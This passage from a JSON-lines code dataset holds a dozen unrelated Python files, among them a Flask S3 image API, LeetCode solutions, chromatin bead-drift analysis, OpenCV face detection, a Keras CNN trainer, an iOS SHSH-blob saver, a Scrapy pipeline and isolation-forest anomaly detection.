envs[2])'''\n","sub_path":"Morphology 2 Env/AllWheels/robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":5332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"245614196","text":"from flask import Flask, request\nfrom flask import jsonify\nfrom collections import defaultdict\nimport boto3\nfrom flask_cors import CORS\n\napp = Flask(__name__)\nCORS(app)\ncors = CORS(app, resources={r\"/api/\": {\"origins\": \"\"}})\n\nclient = boto3.client('s3')\ns3 = boto3.resource('s3')\n\n@app.route('/')\ndef render_homepage():\n \n location = request.args.get('location')\n bucketname = \"insta\" + location\n bucket = s3.Bucket(bucketname).objects.all()\n\n data = defaultdict(list)\n for obj in bucket:\n url = 'https://' + bucketname + '.s3.amazonaws.com/' + obj.key\n tag_name = obj.key.split('/')[0]\n tags = [{'value': tag_name, 'title': tag_name}]\n image_info = {\n 'src': url,\n 'thumbnail': url,\n 'thumbnailWidth': 320,\n 'thumbnailHeight': 212,\n 'tags': tags,\n }\n data['all'].append(image_info)\n data[tag_name].append(image_info)\n \n return jsonify(data)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)","sub_path":"Backend/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"204833399","text":"# Floating barbell.\nhg = 0 # height of green side\nhr = 0 # height of red side\nwg = 0 # width of green side\nwr = 0 # width of red side\nt=0 # time parameter\ndt = 0.01 # time step\n\n\ndef setup():\n size(500,500) # set the size of the canvas\n background(255,255,224) # set the background color to sandpaper\n\ndef draw():\n global t, hg, hr, wg, wr \n global dt, T\n # vary the heights using sine function\n hr = height/3*sin(2*PI*t)\n hg = height/3*sin(PI*t)\n #vary the widths using the sine function\n wr = width/3*sin(2*PI*t)\n wg = width/3*sin(PI*t)\n i = 255\n \n stroke(255,0,0)\n fill(255,0,0) # set the left sid to red\n# ellipse(width/2-width/3,height/2+hr,10,10) # draw left side\n \n stroke(0,255,0)\n fill(0,255,0) # set right side to green\n# ellipse(width/2+width/3,height/2+hg,10,10) #draw right side\n \n stroke(147,112,219,200)\n line(width/2-width/3,height/2+hr,width/2+width/3,height/2+hg) # draw connecting line\n\n stroke(255,0,0)\n fill(255,0,0) # set top side to red\n# ellipse(width/2+wr,height/2-height/3,10,10)\n \n stroke(0,255,0)\n fill(0,255,0) # set bottom side to green\n# ellipse(width/2+wg,height/2+height/3,10,10) #draw right side \n \n stroke(147,112,219,200) # set line color to purple and transparency to 50%\n line(width/2+wr,height/2-width/3,width/2+wg, height/2+width/3)\n t = t+dt # increment time\n\ndef mousePressed():\n saveFrame(\"fun_with_barbells.prng\")\n background(255,255,224)","sub_path":"CS_170_Python/program07/Barbells3.pyde","file_name":"Barbells3.pyde","file_ext":"pyde","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"66709777","text":"#!/usr/bin/env main\n# -*- coding: utf-8 -*-\n# Created by HazzaCheng on 2020-04-10\n# https://leetcode.com/problems/palindrome-partitioning-ii/\n\n\nclass Solution:\n # solution 1\n def minCut1(self, s: str) -> int:\n slen = len(s)\n minCut = [0] * slen\n isPalindrome = [[False] * slen for _ in range(slen)]\n\n for i in range(slen):\n minTemp = i\n for j in range(0, i + 1):\n if s[j] == s[i] and (j + 1 > i - 1 or isPalindrome[j + 1][i - 1]):\n isPalindrome[j][i] = True\n minTemp = 0 if j == 0 else min(minTemp, minCut[j - 1] + 1)\n minCut[i] = minTemp\n\n return minCut[slen - 1]\n\n # solution 2\n def minCut2(self, s: str) -> int:\n slen = len(s)\n minCut = list(range(-1, slen))\n\n for i in range(slen):\n # odd\n j = 0\n while i - j >= 0 and i + j < slen and s[i - j] == s[i + j]:\n minCut[i + j + 1] = min(minCut[i + j + 1], minCut[i - j] + 1)\n j += 1\n # even\n j = 1\n while i - j + 1 >= 0 and i + j < slen and s[i - j + 1] == s[i + j]:\n minCut[i + j + 1] = min(minCut[i + j + 1], minCut[i - j + 1] + 1)\n j += 1\n\n return minCut[slen]\n","sub_path":"python/src/dp/No132_Palindrome_Partitioning_II.py","file_name":"No132_Palindrome_Partitioning_II.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"592585632","text":"import numpy as np\nfrom scipy.signal import argrelextrema\nfrom scipy import stats\n\n\n# worm-like chain\ndef WLC(f, p, L, S, x0):\n kBT = 4.114 # (pN nm) - Boltzmann factor\n return ((L * 0.34) * (1 - 0.5 * (np.sqrt(kBT / (f * p))) + f / S)) / 1000 + x0\n\n\n# L_app\ndef NewP(L, p, alpha, i):\n C = 8 * (1 - np.cos(alpha / 4))\n ro = i / L\n return p / ((1 + p * i * C * ro) ** 2)\n\n\n# degrees to radians\ndef degrad(deg):\n return deg * (np.pi / 180)\n\n\n# calculate force\ndef calc_force(i):\n A = 85 # for 2.8 um beads (pN)\n l1 = 1.4 # decay length 1 (mm)\n l2 = 0.8 # decay length 2 (mm)\n f0 = 0.01 # force-offset (pN)\n return A * (0.7 * np.exp(-i / l1) + 0.3 * np.exp(-i / l2)) + f0\n\n\n# median filter\ndef medfilt(x, k): # Apply a length-k median filter to a 1D array x. Boundaries are extended by repeating endpoints.\n assert k % 2 == 1, \"Median filter length must be odd.\"\n assert x.ndim == 1, \"Input must be one-dimensional.\"\n k2 = (k - 1) // 2\n y = np.zeros((len(x), k), dtype=x.dtype)\n y[:, k2] = x\n for i in range(k2):\n j = k2 - i\n y[j:, i] = x[:-j]\n y[:j, i] = x[0]\n y[:-j, -(i + 1)] = x[j:]\n y[-j:, -(i + 1)] = x[-1]\n return np.median(y, axis=1)\n\n\n# function to reject outliers, replace with NaN\ndef reject_outliers(data):\n data_filtered = []\n norm_data = []\n norm_data = abs(data - np.mean(data))\n for n, i in enumerate(norm_data):\n if i > 2 * np.std(data):\n i = np.nan\n else:\n i = data[n]\n data_filtered.append(i)\n return data_filtered\n\n\n# get numbers from string\ndef get_num(x):\n return float(''.join(ele for ele in x if ele.isdigit() or ele == '.'))\n\n\n# find peaks\ndef peak_finder(x, y):\n x = list(x)\n y = list(y)\n\n # mirror the data in the Y-axis (to find potential peak at x=0)\n\n x_x = list(reversed(np.negative(np.array(x[1:])))) + x\n y_y = list(reversed(y[1:])) + y\n\n maxInd = argrelextrema(np.array(y_y), np.greater)\n r = np.array(y_y)[maxInd]\n a = maxInd[0]\n\n # discard all peaks for negative dimers\n\n peaks_index = []\n peaks_height = []\n for n, i in enumerate(a):\n i = 1 + i - len(y)\n if i >= 0:\n peaks_height.append(r[n])\n peaks_index.append(x[i])\n\n return peaks_index, peaks_height\n\n\n# fitting two lines\ndef two_lines(x, a, b, c, d):\n one = a * x + b\n two = c * x + d\n return np.maximum(one, two)\n\n\n# calculate drift using stuck bead\ndef calc_drift_stuck(data_lines,headers,time,beads):\n\n # find a stuck bead by RMS analysis of single bead in Z-direction\n z_rms = []\n for b in range(0, beads):\n z_temp = []\n for x in data_lines:\n z_temp.append(float(x.split()[headers.index('Z' + str(b) + ' (um)')]))\n z_temp = np.array(z_temp)\n z_temp -= np.mean(z_temp)\n z_rms.append(np.sqrt(np.mean(z_temp ** 2)))\n stuck_index = int(z_rms.index(min(z_rms)))\n\n z_stuck = []\n for x in data_lines:\n z_stuck.append(float(x.split()[headers.index('Z' + str(stuck_index) + ' (um)')]))\n\n # correcting the drift using a stuck bead\n driftz = []\n driftt = []\n minmax = []\n for n, z in enumerate(z_stuck):\n driftt.append(time[n])\n driftz.append(z * 1000)\n minmax.append(np.percentile(driftz[:100], 1))\n minmax.append(np.percentile(driftz[-100:], 1))\n minmax.append(np.percentile(driftt[:100], 1))\n minmax.append(np.percentile(driftt[-100:], 1))\n slope, intercept, r_value, p_value, std_err = stats.linregress([minmax[2], minmax[3]], [minmax[0], minmax[1]])\n\n return slope\n\n\n# calculate drift using self\ndef calc_drift_self(data_lines,headers,time,bead):\n\n Z = []\n for x in data_lines:\n Z.append(float(x.split()[headers.index('Z' + str(bead) + ' (um)')]))\n\n # correcting the drift using a stuck bead\n driftz = []\n driftt = []\n minmax = []\n for n, z in enumerate(Z):\n driftt.append(time[n])\n driftz.append(z * 1000)\n minmax.append(np.percentile(driftz[:100], 1))\n minmax.append(np.percentile(driftz[-100:], 1))\n minmax.append(np.percentile(driftt[:100], 1))\n minmax.append(np.percentile(driftt[-100:], 1))\n slope, intercept, r_value, p_value, std_err = stats.linregress([minmax[2], minmax[3]], [minmax[0], minmax[1]])\n\n return slope","sub_path":"Chromatin/definitions.py","file_name":"definitions.py","file_ext":"py","file_size_in_byte":4328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"518329221","text":"import cv2\nimport numpy\n\n\n\nhaar_face = cv2.CascadeClassifier('./haarcascade_frontalface_default.xml')\n\nimg = cv2.imread(\"./S.jpg\")\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n\nfaces = haar_face.detectMultiScale(gray, 1.3, 5)\n\nif faces.any() :\n\tfor (x,y, w, h) in faces:\n\t\tcv2.rectangle(img, (x,y), (x+w, y+h), (0,0,0), 1)\n\t\timg = cv2.resize(img, (640,480), interpolation = cv2.INTER_AREA)\n\t\tcv2.imshow(\"Face Detection\", img)\n\t\tcv2.waitKey(0)\n\t\nelse :\n\tprint(\"No face is detected\")\n\n\t\n\ncv2.destroyAllWindows()","sub_path":"FD_Img.py","file_name":"FD_Img.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"576295935","text":"# Author: Fernando Zuher\n# Place: Brazil\n# Date: 22/03/2020\n# Book: Python Crash Course, 2nd Edition. Author: ERIC MATTHES.\n# About: Exercise, Chapter 6 - Dictionaries\n\n# 6-8. Pets: Make several dictionaries, where each dictionary represents a\n# different pet. In each dictionary, include the kind of animal and the owner’s\n# name. Store these dictionaries in a list called pets. Next, loop through your\n# list and as you do, print everything you know about each pet.\n\npet1 = {'type': 'dog', 'owner': 'pedro'}\npet2 = {'type': 'cat', 'owner': 'maria'}\npet3 = {'type': 'rabbit', 'owner': 'paulo'}\npet4 = {'type': 'fish', 'owner': 'josé'}\n\npets = [pet1, pet2, pet3, pet4]\n\nfor pet in pets:\n\tprint(f\"{pet['owner'].title()} has a {pet['type']} as a pet.\")","sub_path":"Python/Chapters/Part I - Basics/Chapter 6 - Dictionaries/6_8_pets.py","file_name":"6_8_pets.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"39654357","text":"\nimport keras\nfrom keras.models import Sequential\nimport NetworkModels\nimport MNISTReader\nimport time\n\n\nclass CNN:\n\n def RunCNN(reader: MNISTReader, model: Sequential, iterations: int, optimizerMethod: keras.optimizers=keras.optimizers.Adadelta):\n \n # określenie sposobu obliczania funkcji celu-błędu\n # (categorical_crossentropy), optymalizatora służącego do minimalizacji\n # funkcji celu przez zmianę wag (Adadelta)\n # i metryki oceny sieci (accuracy)\n model.compile(loss=keras.losses.categorical_crossentropy, optimizer=optimizerMethod(), metrics=['accuracy'])\n _times=[]\n _test_acc = []\n _test_loss=[]\n _val_loss=[]\n _val_acc=[]\n _train_acc = []\n _train_loss = []\n # uczenie sieci:\n # X_train, y_train - dane uczące\n # batch_size - liczba przetwarzanych obrazków na aktualizację\n # epochs - liczba iteracji (w czasie każdej przetwarzane są wszystkie\n # dane uczące)\n i = 1\n startTime = time.time()\n for i in range (iterations):\n trainRes = model.fit(reader.X_train, reader.y_train, batch_size=128, epochs=1, verbose=1, validation_split = 0.2)\n t = time.time() - startTime\n \n _train_acc.append(trainRes.history[\"acc\"][0])\n _train_loss.append(trainRes.history[\"loss\"][0])\n\n _val_acc.append(trainRes.history[\"val_acc\"][0])\n _val_loss.append(trainRes.history[\"val_loss\"][0])\n _times.append(t)\n\n rr = model.evaluate(reader.X_test,reader.y_test)\n\n _test_loss.append(rr[0])\n _test_acc.append(rr[1])\n\n return (_test_loss, _test_acc, _val_loss, _val_acc, _train_loss, _train_acc, _times)\n ","sub_path":"Projekt 2/MSI2.PROJ2/CNN/CNN.py","file_name":"CNN.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"165573277","text":"b, r, y = map(int, input().split())\nn = int(input())\ncolors = []\nbflag = 0\nrflag = 0\nyflag = 0\nfor i in range(0, n):\n colors.append(input())\nfor j in range(0, n):\n if colors[j] == \"Blue\":\n bflag += 1\n if colors[j] == \"Red\":\n rflag += 1\n if colors[j] == \"Yellow\":\n yflag += 1\nres = 1\nif bflag:\n res = res*b\nif rflag:\n res = res*r\nif yflag:\n res = res*y\nprint(res)","sub_path":"1573 acc.py","file_name":"1573 acc.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"86596633","text":"# -*- coding: utf-8 -*-\r\n#Author: DRISSI Rayan, GAUCHER Aloïs\r\n\r\nfrom PIL import Image\r\n\r\ndef signe_instable(pic):\r\n\timg = Image.open(\"signe final.png\")\r\n\tl,h = img.size\r\n\tfor x in range(l):\r\n\t\tfor y in range(h):\r\n\t\t\tpixel = img.getpixel((x,y))\r\n\t\t\tpic.putpixel((x,y),pixel)\r\n\tpic.show()\r\n\tpic.save(\"qr_code.png\")\r\n\treturn img\r\n\r\nnimg = Image.new(\"L\",(250,250))\r\nqrcode = signe_instable(nimg)\r\n\r\n","sub_path":"QR-CODE/fonction_creer_logo.py","file_name":"fonction_creer_logo.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"564180798","text":"# -*- encoding=utf-8 -*-\nfrom ctypes import *\nimport platform\nimport os\n\nif platform.system() == u'Windows':\n internal_library = cdll.msvcrt\nelse:\n sdk_path = os.path.join(os.path.abspath(os.path.dirname(os.path.dirname(__file__))),\n 'sdk/libarcsoft_fsdk_gender_estimation.so')\n internal_library = CDLL(sdk_path)\n\nmalloc = internal_library.malloc\nfree = internal_library.free\nmemcpy = internal_library.memcpy\n\nmalloc.restype = c_void_p\nmalloc.argtypes = (c_size_t,)\nfree.restype = None\nfree.argtypes = (c_void_p,)\nmemcpy.restype = c_void_p\nmemcpy.argtypes = (c_void_p, c_void_p, c_size_t)\n","sub_path":"lib/fg_clibrary.py","file_name":"fg_clibrary.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"654402748","text":"import os\r\n\r\n#读入文件\r\nnamefile=open(\"name.txt\",\"r\")\r\n#names=namefile.read()\r\n\r\n#读为列表\r\nname=[]\r\nfor line in namefile:\r\n lt=str(line)\r\n name.append(lt.rstrip())\r\nprint(name)\r\n\r\n#工作路径\r\n#os.chdir(str(input(\"dir:\")))\r\n\r\n#创建文件夹\r\ntry:\r\n os.mkdir(\"copy\")\r\nexcept:\r\n print(\"mkdir success\")\r\n\r\n#检查并移动\r\nsearchpath=str(input(\"dir:\"))\r\ntry:\r\n os.mkdir(\"copy\\\\\"+searchpath)\r\nexcept:\r\n print(\"mkdir success\")\r\n\r\nnamelist=os.listdir(searchpath)\r\nnopic=[]\r\nfor ename in name:\r\n tell=0\r\n for rfname in namelist:\r\n if ename in rfname:\r\n cmd=\"copy \\\"\"+searchpath+\"\\\\\"+rfname+\"\\\" \\\"copy\\\\\"+searchpath+\"\\\"\"\r\n os.system(cmd)\r\n print(cmd)\r\n tell=tell+1\r\n break\r\n if tell==0:\r\n nopic.append(ename)\r\nprint(\"未找到照片:\\n\",nopic)\r\n\r\ninput(\"CLOSE\")","sub_path":"移动文件.py","file_name":"移动文件.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"593256733","text":"import os\n\nfrom flask import Blueprint, render_template, request, url_for, redirect\nfrom werkzeug.utils import secure_filename\n\nfrom db.database import DB\nfrom models import Supermarket\n\nsupermarkets = Blueprint('supermarkets', __name__,\n url_prefix='/supermarket',\n template_folder='../supermarkets/templates',\n static_folder='../supermarkets/static')\n\n\n@supermarkets.route('/', methods=['GET'])\ndef get_all_supermarkets():\n markets_all = [market.__dict__ for market in DB['supermarkets']]\n args = request.args.to_dict()\n return render_template('all_supermarkets.html',\n markets_all=markets_all, args=args)\n\n\n@supermarkets.route('/add', methods=['GET'])\ndef show_add_market_form():\n return render_template('add_supermarket.html')\n\n\n@supermarkets.route('/', methods=['POST'])\ndef add_market():\n data = request.form.to_dict()\n file = request.files['img_name']\n if file:\n filename = secure_filename(file.filename)\n path_to_img = os.path.join('supermarkets/static',\n secure_filename(filename)\n )\n file.save(path_to_img)\n else:\n filename = None\n DB['supermarkets'].append(Supermarket(name=data.get('name'),\n location=data.get('location'),\n img_name=filename\n )\n )\n print(DB)\n return redirect(url_for('supermarkets.get_all_supermarkets'))\n\n\n@supermarkets.route('/<uuid:uu_id>')\ndef show_market(uu_id):\n uu_id = str(uu_id)\n markets_all = [market.__dict__ for market in DB['supermarkets']]\n market_to_show = None\n for market in markets_all:\n if uu_id in market.values():\n market_to_show = market\n print(uu_id)\n print(market_to_show)\n return render_template('supermarket.html', market=market_to_show)\n","sub_path":"flask_hw/flask_advanced/supermarkets/supermarkets.py","file_name":"supermarkets.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"362925571","text":"import subprocess\nimport os\nimport sys\nimport time\n\nfrozen = 'not'\nif getattr(sys, 'frozen', False):\n # we are running in a bundle\n frozen = 'ever so'\n bundle_dir = sys._MEIPASS\nelse:\n # we are running in a normal Python environment\n bundle_dir = os.path.dirname(os.path.abspath(__file__))\n\nudid = ''\necid = ''\nboardid = ''\ndeviceid = ''\napnonce = ''\niosversion = 0\n\nsavePath = '~/Desktop'\n\nos.chdir(bundle_dir)\nprint('Connect Device To Start..\\n')\nos.chdir(os.getcwd() + '/SupportFiles/')\n\npopen = subprocess.Popen('./idevice_id -l', shell = True, stdout=subprocess.PIPE,stderr=subprocess.PIPE, encoding='utf8')\ncommunicateRes = popen.communicate()\nideviceidOuput, stdErrValue = communicateRes\nudid = ideviceidOuput\n\nprint('Rebooting The Device Into Recovery Mode..\\n')\npopen = subprocess.Popen('./ideviceenterrecovery %s' %udid, shell = True, stdout=subprocess.PIPE,stderr=subprocess.PIPE, encoding='utf8')\ntime.sleep(20) #some devices reboot faster than others\n\npopen = subprocess.Popen('./igetnonce', stdout=subprocess.PIPE,stderr=subprocess.PIPE, encoding='utf8')\ncommunicateRes = popen.communicate()\nigetNonceOuput, stdErrValue = communicateRes\nigetNonceOuput = igetNonceOuput.split('\\n')\n\nfor s in igetNonceOuput:\n if s.startswith('ECID='):\n ecid = s\n ecid = ecid.replace('ECID=','')\n ecid = ecid[:13]\n\n if s.startswith('ApNonce='):\n apnonce = s\n apnonce = apnonce.replace('ApNonce=','')\n\n if s.startswith('Identified device as '):\n boardid = s\n boardid = boardid.replace('Identified device as ','')\n boardid = boardid.replace('in normal mode...','')\n deviceid = boardid[8:]\n boardid = boardid[:6]\n \nprint('Device Model = ' + deviceid)\nprint('Device UDID = ' + udid)\nprint('BoardConfig = ' + boardid)\nprint('ECID = ' + ecid)\nprint('ApNonce = ' + apnonce)\nprint('Enter the iOS version to save the ticket for')\n\niosversion = input()\n\ntsscheckerArgs = './tsschecker -d %s' %deviceid + ' -e %s' %ecid + ' --boardconfig %s' %boardid + ' --ios %s' %iosversion + ' --apnonce %s' %apnonce + ' -s --save-path ' + savePath\n\npopen = subprocess.Popen([tsscheckerArgs], shell = True, stdout=subprocess.PIPE,stderr=subprocess.PIPE, encoding='utf8')\npopen = subprocess.Popen('./irecovery -n', shell = True, stdout=subprocess.PIPE,stderr=subprocess.PIPE, encoding='utf8')\n\nprint('File saved at path ' + savePath)\nprint('Exiting')\n","sub_path":"SaveMe.py","file_name":"SaveMe.py","file_ext":"py","file_size_in_byte":2422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"272385279","text":"# -*- coding: utf-8 -*-\nimport pymongo\nfrom iqiyi.settings import mongo_db_collection,mongo_db_name,mongo_port,mongo_host\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html\nimport pymysql\nfrom iqiyi.items import DeviceDistributionItem\nfrom iqiyi.spiders import iqiyi\n\nclass IqiyiPipeline(object):\n\n def __init__(self):\n host = mongo_host\n port = mongo_port\n dbname = mongo_db_name\n sheetname = mongo_db_collection\n client = pymongo.MongoClient(host=host, port=port)\n mydb = client[dbname]\n self.post = mydb[sheetname]\n\n def process_item(self, item, spider):\n data = dict(item)\n self.post.insert(data)\n return item\n\n # 删除mongodb中的对应的数据\n def remove_item(self, item, key_name, name):\n self.post.remove({'key_name': key_name, 'name': name})\n print(\"删除key_name : \" + key_name + \" 剧集名称: \" + name + \" 成功\")\n return item\n\n # 删除mongodb中的对应的数据\n def remove_aid_item(self, item, key_name, aid):\n # 这里必须要用单引号!!\n self.post.remove({'key_name': key_name, 'aid': aid})\n print(\"删除key_name : \" + key_name + \" aid: \" + aid + \" 成功\")\n return item\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# class MysqlPipeline(object):\n# def __init__(self):\n# self.conn = pymysql.connect(host=\"localhost\", user=\"root\", password=\"123456\", db=\"iqiyi\", port=3306, charset=\"utf8m64\")\n# self.cursor = self.conn.cursor()\n#\n# def process_item(self,item, spider):\n# # insert_sql = \"\"\" insert into iqiyi.video_play_device_distribution(aid,name,mobile_terminal,pc_terminal)\n# # values(%s, %s, %s, %s) \"\"\"\n# # try:\n# # self.cursor.execute(insert_sql, (item['aid'], item['name'], item['mobile_terminal_distribution'], item['pc_device_distribution']))\n# # self.conn.commit()\n# #\n# # except Exception as e:\n# # # 错误回滚\n# # self.conn.rollback()\n# # finally:\n# # self.conn.close()\n# # insert_sql, params = item.get_insert_sql()\n#\n# def do_insert(self, cursor, item):\n# # 执行具体的插入\n# # 根据不同的item 构建不同的sql语句并插入到mysql中\n# insert_sql, params = item.get_insert_sql()\n# cursor.execute(insert_sql, params)\n","sub_path":"iqiyi/iqiyi/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":2518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"336861618","text":"#import the libraries\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n#Import the data set from Desktop\r\ndataset = pd.read_csv('ec2_cpu_utilization_53ea38.csv')\r\n\r\n#changing the string to datetime\r\ndataset['timestamp'] = pd.to_datetime(dataset.timestamp)\r\n\r\n#changing the index of column\r\ndf = pd.DataFrame(dataset)\r\ncolumnsTitles = ['timestamp', 'label', 'value']\r\ndataset = df.reindex(columns=columnsTitles)\r\n\r\n\r\n#splittiing the timestamp into year, month, day, hour and minute\r\ndataset['year'] = dataset.timestamp.dt.year\r\ndataset['month'] = dataset.timestamp.dt.month\r\ndataset['day'] = dataset.timestamp.dt.day\r\ndataset['hour'] = dataset.timestamp.dt.hour\r\ndataset['minute'] = dataset.timestamp.dt.minute \r\ndataset.dtypes\r\n\r\n\r\n# Changing type to categorical as they are int64\r\ndataset['year'] = pd.Categorical(dataset['year'])\r\ndataset['month'] = pd.Categorical(dataset['month'])\r\ndataset['day'] = pd.Categorical(dataset['day'])\r\ndataset['hour'] = pd.Categorical(dataset['hour'])\r\ndataset['minute'] = pd.Categorical(dataset['minute'])\r\ndataset.dtypes\r\n\r\n\r\n\r\n\r\n# Dropping timestamp column as we don't need it now\r\ndataset = dataset.drop('timestamp', axis = 1)\r\n\r\n#X containing column [value, year, month, day, hour , minute]\r\nx=dataset.drop('label', axis = 1)\r\n\r\n\r\n#y containing column [label]\r\ny=dataset.label\r\n\r\n\r\n\r\n#import IsolationForest\r\nfrom sklearn.ensemble import IsolationForest\r\n\r\n\r\n\r\n# training the model\r\nclf = IsolationForest(n_estimators=10, random_state=42)\r\nclf.fit(x)\r\n\r\n# prediction anomalies and normal values\r\ny_pred = clf.predict(x)\r\n\r\n\r\n\r\n# Array of predicted anomalies and normal \r\ny_pred\r\n\r\n\r\n\r\n\r\n# Creating dataframe for anomalies and normal values for general analysis like value_counts\r\nd = pd.DataFrame(y_pred, columns=['anomaly'])\r\n\r\n\r\n#counting the values like number of 1 and number of -1\r\nd.anomaly.value_counts()\r\n\r\n\r\n\r\n# Percentage of anomalies\r\nprint(\"% of normal values\", np.round(d.anomaly.value_counts()[1] * 100/ d.shape[0]), 3)\r\nprint(\"% of anomalies values\", np.round(d.anomaly.value_counts()[-1] * 100/ d.shape[0]), 3)\r\n\r\n\r\n#Note :- anomlies are outliers which is '-1' here\r\n\r\n# Replacing 1 with 0 and -1 with 1\r\n# 0 means normal and 1 means anomalies\r\nd[d['anomaly'] == 1] = 0\r\nd[d['anomaly'] == -1] = 1\r\n\r\n\r\n#count the values , number of 0 and number of 1\r\nd.anomaly.value_counts()\r\n\r\n\r\n\r\n\r\n# Here we got anomalies (1) and normal (0) values\r\n# We will not compare our predicted result with the provided label data\r\nfrom sklearn.metrics import f1_score, confusion_matrix, accuracy_score, classification_report\r\n\r\n#F1 score\r\nprint(\"F1 score:\", f1_score(d.anomaly, dataset.label))\r\n#print(\"Accuracy score:\", accuracy_score(d.anomaly, dataset.label))\r\n\r\n\r\n\r\n#classification \r\nprint(\"Classification report:\")\r\nprint(classification_report(d.anomaly, dataset.label))\r\n\r\n\r\n\r\nprint(\"Confusion Matrix\")\r\nprint(confusion_matrix(d.anomaly, dataset.label))\r\n\r\n\r\n\r\n\r\n#####--------------Feature Engineering------------------\r\n\r\n#evaluating \"value\" variable and storing it in \"val_3\" column\r\nx = dataset.drop('label', axis = 1)\r\nx['val_3'] = x.value ** 3\r\n\r\n#checking for the number of column x have\r\nx.columns\r\n\r\n\r\n# training the model\r\nclf = IsolationForest(n_estimators = 10, random_state=42, behaviour='new')\r\nclf.fit(x)\r\n\r\n# prediction anomalies and normal values\r\ny_pred = clf.predict(x)\r\n\r\n\r\n\r\n# training the model\r\nclf = IsolationForest(n_estimators = 10, random_state=42, behaviour='new')\r\nclf.fit(x)\r\n\r\n# prediction anomalies and normal values\r\ny_pred = clf.predict(x)\r\n\r\n\r\n\r\n# Creating dataframe for anomalies and normal values for general analysis like value_counts\r\nd = pd.DataFrame(y_pred, columns=['anomaly'])\r\n\r\nd.anomaly.value_counts()\r\n\r\n\r\n\r\n\r\n# Percentage of anomalies\r\nprint(\"% of normal values\", np.round(d.anomaly.value_counts()[1] * 100/ d.shape[0]), 3)\r\nprint(\"% of anomalies values\", np.round(d.anomaly.value_counts()[-1] * 100/ d.shape[0]), 3)\r\n\r\n\r\n\r\n\r\n\r\n# Replacing 1 with 0 and -1 with 1\r\n# 0 means normal and 1 means anomalies\r\n\r\nd[d['anomaly'] == 1] = 0\r\nd[d['anomaly'] == -1] = 1\r\n\r\n\r\n\r\n\r\n# Here we got anomalies (1) and normal (0) values\r\n# We will not compare our predicted result with there provided label data\r\n\r\nfrom sklearn.metrics import f1_score, confusion_matrix, classification_report\r\n\r\nprint(\"F1 score for 0:\", f1_score(d.anomaly, dataset.label, pos_label = 0))\r\nprint(\"F1 score for 1:\", f1_score(d.anomaly, dataset.label, pos_label = 1))\r\n#print(\"Accuracy score:\", accuracy_score(d.anomaly, dataset.label))\r\n\r\n\r\n\r\n\r\n\r\n\r\nprint(\"Classification report:\")\r\nprint(classification_report(d.anomaly, dataset.label))\r\n\r\nprint(\"Confusion Matrix\")\r\nprint(confusion_matrix(d.anomaly, dataset.label))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"Anomalies detection.py","file_name":"Anomalies detection.py","file_ext":"py","file_size_in_byte":4725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"28941002","text":"from pathlib import Path\nimport json\nfrom typing import List, Dict\n\nfrom wsipipe.load.annotations.annotation import Annotation\n\n\ndef json_load(filepath, **kwargs):\n with open(filepath, \"r\") as f:\n data = json.load(f, **kwargs)\n return data\n\n\ndef base_shape(coord_list):\n vertices = [(float(c[0]), float(c[1])) for c in coord_list]\n return(vertices)\n\n\ndef gjson_polygon(polygon: List, label: str, default_label: str):\n polygon_vertices = [base_shape(bs) for bs in polygon] \n outer_polygon = Annotation(label, 'Polygon', label, polygon_vertices[0])\n annotations_list = [outer_polygon]\n if len(polygon) > 1:\n for poly in polygon_vertices[1:]:\n inner_polygon = Annotation(label, 'Polygon', default_label, poly)\n annotations_list.append(inner_polygon)\n\n return annotations_list\n\n\ndef annotation_from_feature(feature: Dict, group_labels: Dict[str, str],\n default_label: str) -> Annotation:\n \"\"\" Gets annotation tags from Json features\n\n Args:\n feature : Geojson data\n group_labels(Dict[str, str]): A dictionary of strings defining labels.\n\n Returns:\n Annotations tags such as name, type, label and vertices\n\n \"\"\"\n geometry = feature['geometry']\n geometry_type = geometry['type']\n coordinates = geometry['coordinates']\n properties = feature['properties']\n\n if 